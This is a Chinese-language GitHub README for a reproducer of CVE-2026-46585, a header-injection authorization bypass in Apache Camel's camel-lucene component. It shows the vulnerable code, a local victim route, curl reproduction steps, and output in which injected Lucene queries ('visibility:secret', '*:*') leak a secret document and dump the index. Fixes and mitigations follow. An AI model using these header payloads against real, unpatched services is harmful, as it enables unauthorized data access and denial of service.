oscerd/CVE-2026-46585
GitHub: oscerd/CVE-2026-46585
该项目是 Apache Camel camel-lucene 组件 QUERY header 注入漏洞(CVE-2026-46585)的完整复现器,用于演示和验证未经授权的 HTTP 客户端如何通过注入 Lucene 查询实现授权绕过与数据泄露。
Stars: 0 | Forks: 0
# camel-lucene `QUERY` Header 注入复现器 (CVE-2026-46585)
本项目演示了 Apache Camel 的 `camel-lucene` 组件中的一个**消息头注入 / 授权绕过**漏洞,追踪编号为 **CVE-2026-46585**。Lucene 查询生产者会从 Exchange header 中读取全文搜索短语,但该 header 的名称是纯字符串 **`QUERY`**(以及用于文档标志的 **`RETURN_LUCENE_DOCS`**)。由于这些名称**不**以 `Camel` / `camel` 前缀开头,`HttpHeaderFilterStrategy` —— 它在 HTTP 边界处仅拦截 Camel header 命名空间 —— 允许它们从入站 HTTP 请求直接传递到 Exchange 中。因此,任何访问在 HTTP 消费者后端暴露 Lucene 查询的路由的 HTTP 客户端,都可以设置 `QUERY` header 并使其值针对索引执行,**从而覆盖路由原本打算运行的查询**。
此 PoC 将其影响演示为**授权绕过 / 数据泄露**:未经身份验证的客户端注入原始 Lucene 查询语法,以读取公共搜索端点从未打算返回的文档(而全匹配查询则会导出整个索引)。
安全公告:
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-lucene` |
| **受影响的类** | `org.apache.camel.component.lucene.LuceneQueryProducer` 读取 `LuceneConstants.HEADER_QUERY`(值 `"QUERY"`) |
| **CWE** | CWE-20(输入验证不恰当)/ CWE-639(通过用户控制键绕过授权) |
| **影响** | HTTP 客户端设置 `QUERY` header → 执行任意 Lucene 查询 → 读取预期范围之外的文档,或发起大量消耗 CPU 的 regex 查询 |
| **前置条件** | 路由在 HTTP 消费者(例如 platform-http)后端暴露了 `lucene:...:query` 生产者;当消费者未经验证时,即处于未验证状态 |
| **受影响版本** | 从 4.0.0 至 4.14.8 之前,从 4.15.0 至 4.18.3 之前,从 4.19.0 至 4.21.0 之前 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23509 |
| **鸣谢** | Andrea Cosentino (Apache Software Foundation) 和 Yu Bao (PayPal) |
## 技术细节
```
// LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // attacker-controlled
}
```
`LuceneSearcher` 使用经典的 `QueryParser("contents", analyzer)` 解析短语,因此攻击者可以使用完整的 Lucene 查询语法:字段词(`visibility:secret`)、全匹配(`*:*`)、通配符以及消耗资源的正则表达式。
修复方案(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23509)将 header **值**重命名为 Camel 约定 —— `HEADER_QUERY` 从 `QUERY` 改为 `CamelLuceneQuery`,`HEADER_RETURN_LUCENE_DOCS` 改为 `CamelLuceneReturnLuceneDocs` —— 这样它们就会像其他所有 Camel 控制 header 一样在 HTTP 边界被过滤掉。
常量字段名称保持不变(引用 `LuceneConstants.HEADER_QUERY` 的路由仍可正常工作);这仅对通过原始字符串值设置/读取这些 header 的路由构成破坏性变更。
## 受害者路由
```
from("platform-http:/search")
.removeHeaders("Camel*") // documented hardening — see below
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* render the Hits as text */);
```
路由作者的安全模型是“此端点仅提供**公共**搜索”。正如文档所述,为了加固路由,甚至会在边缘处使用 `removeHeaders("Camel*")` 剥离 Camel 控制 header 命名空间。**但这无济于事**:控制 header 的名称是 `QUERY`,而不是 `CamelLuceneQuery`,因此该调用和内置的 HTTP header 过滤器都不会将其剥离 —— 这正是此 CVE 的核心所在(也正是修复方案中进行重命名的原因)。
索引包含三个公共文档和一个标记为 `visibility:secret` 的机密文档,其正文中包含一个良性的 flag 标记。正常的公共搜索(`QUERY=onboarding`,针对默认 `contents` 字段的纯词项)永远不会返回它;但注入的字段查询会将其返回。
## 仓库结构
**受害者**是 Camel 搜索路由及其索引;**攻击者**是一个仅设置请求 header 的未经身份验证的 HTTP 客户端。所有这些都运行在一个独立自包含的应用程序中。
```
CVE-2026-46585/
├── pom.xml # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── IndexConfig.java # registers the index directory as a Camel bean (#kbIndexDir)
│ ├── IndexBootstrap.java # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
│ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
│ └── ExploitController.java # attacker: GET /search with an injected QUERY header
└── resources/
└── application.properties
```
## 前置条件
- Java 17+ 和 Maven 3.8+
- Docker(可选,用于容器化运行)
## 复现步骤
### 选项 A — Docker(推荐)
```
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### 选项 B — 直接运行 jar
```
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
```
### 预期输出
```
=== 1) Legitimate public search (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) Injected query (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
hits=4
- ... (every document, including the secret one) ...
>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true
```
合法的词项搜索仅返回公开文档。攻击请求 —— 仅在框架本应过滤掉的某个 header 的值上有所不同 —— 读取了机密文档,而全匹配查询则返回了整个索引。
## 攻击向量
任何可从 HTTP 消费者访问的带有 `lucene:...:query` 生产者的路由。除了读取非预期文档外,攻击者还可以:
- 用 `*:*` 或不同的字段谓词替换路由原本针对用户/租户的过滤器(授权绕过)。
- 提交消耗资源的通配符 / 正则表达式查询以大量占用 CPU(拒绝服务)。
## 建议修复
升级至 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23509)。升级后,通过原始 header 名称设置查询的路由必须使用 **`CamelLuceneQuery`**(以及 **`CamelLuceneReturnLuceneDocs`**)代替 `QUERY` / `RETURN_LUCENE_DOCS`;这些带有 Camel 命名空间的名称会像其他所有控制 header 一样在 HTTP 边界被过滤。
## 缓解措施
在升级之前:
1. 在 Lucene 生产者之前剥离可被攻击者控制的 header,并从受信任的来源设置查询:使用 `.removeHeader("QUERY")` 和 `.removeHeader("RETURN_LUCENE_DOCS")`,然后在路由开始处使用 `.setHeader("QUERY", constant(...))`(或从经过验证的输入构建它)。
2. 在未对可查询内容进行授权检查的情况下,不要将 Lucene 查询生产者直接暴露给不受信任的 HTTP 客户端。
## 免责声明
此复现器仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于对抗系统。
标签:Apache Camel, CISA项目, HTTP头注入, JS文件枚举, 域名枚举, 授权绕过, 漏洞复现, 请求拦截